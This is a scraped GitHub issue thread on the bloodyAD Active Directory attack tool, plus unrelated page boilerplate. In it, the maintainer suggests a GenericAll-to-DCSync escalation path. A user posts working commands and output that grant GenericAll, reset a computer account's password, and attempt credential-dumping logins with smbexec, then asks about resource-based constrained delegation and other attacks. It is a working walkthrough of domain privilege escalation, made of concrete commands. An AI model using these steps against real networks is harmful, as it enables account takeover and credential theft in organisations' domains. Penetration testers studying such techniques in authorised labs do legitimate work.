Comments (3)
CravateRouge
commented on July 17, 2024
PATH1 sounds good. See genericall abuse info. If "Myuser" is memberof Group1 and Group1 members are members of Group2 and Group2 has GenericAll on Domain you can use bloodyAD setDCSync. If it doesn't work, could you give me the output for bloodyAD getObjectAttributes 'DomainDN' nTSecurityDescriptor True ? You should see DS-Replication-Get-Changes as well as DS-Replication-Get-Changes-All rights
from bloodyad.
albfflk
commented on July 17, 2024
Thanks for your answer, it ended up that the path was not valid, not sure if someone changes the ACLs... but I got a new dump and it gone. I tried again and found another path, like this:
Muser (user) <---> (GenericAll) SQLSrv2022
SQLSrv2022 (192.168.1.10) is not domain admin but it a server and DC IP is 192.168.1.31, I confirmed that you tool worked.
─$ python3 bloodyAD.py -d company -u MUser -p Passw0Rd --host 192.168.1.31 setGenericAll S-1-5-21-1504728495-0493274895-4372345346-36233 S-1-5-21-1504728495-0493274895-4372345346-9032
[*] S-1-5-21-1504728495-0493274895-4372345346-36233 SID is: S-1-5-21-1504728495-0493274895-4372345346-36233
[!] This right already exists
[+] nTSecurityDescriptor set successfully
[+] S-1-5-21-1504728495-0493274895-4372345346-36233 has now GenericAll on S-1-5-21-1504728495-0493274895-4372345346-9032
└─$ python3 bloodyAD.py -d company -u MUser -p Passw0Rd --host 192.168.1.31 changePassword 'SQLSrv2022$' Passw0Rd
[+] Password changed successfully!
┌──(kali㉿Nkali)-[~/bloodyAD]
└─$ python3 bloodyAD.py -d company -u MUser -p Passw0Rd --host 192.168.1.31 changePassword S-1-5-21-1504728495-0493274895-4372345346-9032 Passw0Rd
[+] Password changed successfully!
I was expecting to be able to change computer account (SQLSrv2022$) password and take control of the machine, it says that password was changed, but do not authenticate.
$ python3 smbexec.py company/'SQLSrv2022$':[email protected] query -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA -s
Impacket v0.10.1.dev1+20221214.172823.8799a1a2 - Copyright 2022 Fortra
[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
$ python3 smbexec.py SQLSrv2022/'SQLSrv2022$':[email protected] query -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA -s
Impacket v0.10.1.dev1+20221214.172823.8799a1a2 - Copyright 2022 Fortra
[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
$ python3 smbexec.py 'SQLSrv2022$':[email protected] query -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA -s
Impacket v0.10.1.dev1+20221214.172823.8799a1a2 - Copyright 2022 Fortra
[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
Do you know why it says the password was changed if the auth failed?
I was reading the great link that you sent and GenericAll on computers appears to be a bit limited. In my case no LAPS on this server, reset password account of the machines doesnt appear to work.
Do you know any tool that allows to apply the resource based constraint delegation from a linux box? I guess that your tool allows to add a new computer name and define a value for msds-allowedtoactonbehalfofotheridentity, but not sure about the other parts.
Do you know any other attack in such cases?
BTW, do you know any project that allows to easily setup a domain environment vulnerable to test and learn such kind of attacks?
Not big deal, but maybe you are interested...I gave a try at your autobloody and got this error on last Kali version.
[*] Connection to Neo4j
[*] No proxy detected
Traceback (most recent call last):
File "/home/kali/autobloody/autobloody.py", line 6, in <module>
main.main()
File "/home/kali/autobloody/autobloody/main.py", line 31, in main
path_dict = pathgen(args)
File "/home/kali/autobloody/autobloody/main.py", line 50, in pathgen
db = database.Database(args.dburi, args.dbuser, args.dbpassword)
File "/home/kali/autobloody/autobloody/database.py", line 9, in __init__
self._prepareDb()
File "/home/kali/autobloody/autobloody/database.py", line 22, in _prepareDb
session.write_transaction(self._createGraph)
File "/home/kali/.local/lib/python3.10/site-packages/neo4j/_meta.py", line 82, in inner
return f(*args, **kwargs)
File "/home/kali/.local/lib/python3.10/site-packages/neo4j/_sync/work/session.py", line 705, in write_transaction
return self._run_transaction(
File "/home/kali/.local/lib/python3.10/site-packages/neo4j/_sync/work/session.py", line 487, in _run_transaction
result = transaction_function(tx, *args, **kwargs)
File "/home/kali/autobloody/autobloody/database.py", line 64, in _createGraph
graph_exists = tx.run("RETURN gds.graph.exists('autobloody')").single()[0]
File "/home/kali/.local/lib/python3.10/site-packages/neo4j/_sync/work/transaction.py", line 156, in run
result._tx_ready_run(query, parameters)
File "/home/kali/.local/lib/python3.10/site-packages/neo4j/_sync/work/result.py", line 116, in _tx_ready_run
self._run(query, parameters, None, None, None, None)
File "/home/kali/.local/lib/python3.10/site-packages/neo4j/_sync/work/result.py", line 162, in _run
self._attach()
File "/home/kali/.local/lib/python3.10/site-packages/neo4j/_sync/work/result.py", line 270, in
from bloodyad.
CravateRouge
commented on July 17, 2024
If you want to report issues related to autobloody please do it on the autobloody github repo. Also I would need the full error (yours is truncated)
from bloodyad.
Related Issues (20)
- Issue with pathgen HOT 1
- ldap3.core.exceptions.LDAPNoSuchObjectResult HOT 1
- Bloodhound 4.2.0 released, new edges added HOT 1
- Missing winkerberos HOT 1
- pip install bloodyad error HOT 2
- ldap3.core.exceptions.LDAPStartTLSError HOT 6
- module "setGenericAll" remove permissions does not work HOT 3
- module "addUser" adjust help text HOT 1
- Execute addComputer. An error is reported when executing the new version, but the old version can execute normally HOT 4
- "ModuleNotFoundError: No module named 'bloodyAD.cli_modules'" in BloodyAD 0.1.9 HOT 12
- Request: Support for toggling inheritance on containers and OUs HOT 2
- Filtering "get children" on type "user" does not work HOT 5
- "get writable" errors with "Logon failure" in some cases HOT 9
- add computer - LDAPInvalidCredentialsResult - 49 - invalidCredentials - None - ERROR_LOGON_FAILURE: Logon failure: Unknown user name or bad password. - bindResponse - None HOT 12
- Unspecified GSS failure. HOT 3
- improve --resolve-sd output HOT 2
- add authentication test HOT 1
- Cannot add, remove, or modify SPNs HOT 6
- Can I modify a computer sAMAccountName through bloodyAD ? HOT 1
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from bloodyad.